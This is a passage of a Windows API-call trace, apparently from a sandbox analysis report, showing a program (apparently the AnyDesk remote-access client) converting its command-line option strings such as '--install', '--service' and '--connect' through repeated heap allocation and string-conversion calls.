out: lpWideCharStr="--version") returned 10 [0178.097] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472950, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.097] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472950, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--unblock-input") returned 16 [0178.097] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146f554, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.097] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146f554, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--gc-starter") returned 13 [0178.097] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1456a54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0178.097] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2a) returned 0x242d38 [0178.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1456a54, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=21 | out: lpWideCharStr="--message-system-app") returned 21 [0178.097] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472940, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0178.098] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1c) returned 0x242d38 [0178.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472940, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=14 | out: lpWideCharStr="--add-profile") returned 14 [0178.098] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147292c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0178.098] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x242d38 [0178.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147292c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=17 | out: lpWideCharStr="--remove-profile") returned 17 [0178.098] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147291c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.098] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147291c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--generate-gpt") returned 15 [0178.098] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1434834, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0178.098] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x32) returned 0x242d38 [0178.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1434834, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=25 | out: lpWideCharStr="--config-restore-default") returned 25 [0178.099] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ae8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.099] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ae8, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--attach") returned 9 [0178.099] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472af4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.099] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472af4, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--connect") returned 10 [0178.099] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472b00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.099] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472b00, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--shm-id") returned 9 [0178.099] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432d88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0178.099] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x24) returned 0x242d38 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432d88, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=18 | out: lpWideCharStr="--welcome-session") returned 18 [0178.099] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0178.099] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x16) returned 0x24d6d0 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a5c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=11 | out: lpWideCharStr="--settings") returned 11 [0178.099] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446908, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0178.100] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x242d38 [0178.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446908, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=17 | out: lpWideCharStr="--admin-settings") returned 17 [0178.100] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472950, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.100] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472950, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--unblock-input") returned 16 [0178.101] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147291c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.101] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147291c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--generate-gpt") returned 15 [0178.101] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.101] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr=".anydesk") returned 9 [0178.101] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146b384, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.101] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146b384, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--backend") returned 10 [0178.101] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d758, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0178.101] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2a) returned 0x242d38 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d758, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=21 | out: lpWideCharStr="--backproxy-elevated") returned 21 [0178.101] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146aba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0178.101] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x26) returned 0x242d38 [0178.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146aba0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=19 | out: lpWideCharStr="--backproxy-system") returned 19 [0178.102] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143250c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0178.102] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x16) returned 0x24d6d0 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143250c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=11 | out: lpWideCharStr="--frontend") returned 11 [0178.102] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d73c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.102] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d73c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--accept") returned 9 [0178.102] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d71c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.102] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d71c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--local-service") returned 16 [0178.102] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472adc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.102] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472adc, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--service") returned 10 [0178.102] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d784, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.102] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d784, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--control") returned 10 [0178.102] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ad4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0178.103] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x24e2d0 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ad4, cbMultiByte=-1, lpWideCharStr=0x24e2d0, cchWideChar=7 | out: lpWideCharStr="--tray") returned 7 [0178.103] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e2d0 | out: hHeap=0x240000) returned 1 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ac4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.103] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ac4, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--agent-tray") returned 13 [0178.103] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ab0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0178.103] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x242d38 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ab0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=17 | out: lpWideCharStr="--agent-frontend") returned 17 [0178.103] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472aa8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0178.103] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xc) returned 0x24e2d0 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472aa8, cbMultiByte=-1, lpWideCharStr=0x24e2d0, cchWideChar=6 | out: lpWideCharStr="--gui") returned 6 [0178.103] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e2d0 | out: hHeap=0x240000) returned 1 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d774, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.103] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d774, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--local-control") returned 16 [0178.103] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a9c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a9c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--loader") returned 9 [0178.104] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1456998, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0178.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d6d0 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1456998, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=12 | out: lpWideCharStr="--installer") returned 12 [0178.104] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a90, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--install") returned 10 [0178.104] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0178.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d6d0 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a84, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=12 | out: lpWideCharStr="--uninstall") returned 12 [0178.104] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469fc8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469fc8, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--remove") returned 9 [0178.104] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a74, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--crash-handler") returned 16 [0178.104] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a68, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0178.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d6d0 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a68, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=12 | out: lpWideCharStr="--trace-dmp") returned 12 [0178.105] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0178.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x16) returned 0x24d6d0 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a5c, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=11 | out: lpWideCharStr="--settings") returned 11 [0178.105] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446908, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0178.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x242d38 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446908, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=17 | out: lpWideCharStr="--admin-settings") returned 17 [0178.105] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a4c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a4c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--conn-settings") returned 16 [0178.105] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a3c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--cap-settings") returned 15 [0178.105] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a24, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0178.106] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2c) returned 0x242d38 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a24, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=22 | out: lpWideCharStr="--global-rec-settings") returned 22 [0178.106] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.106] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a14, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--trace-conv") returned 13 [0178.106] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432574, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.106] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432574, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--start-service") returned 16 [0178.106] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad44, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.106] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad44, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--stop-service") 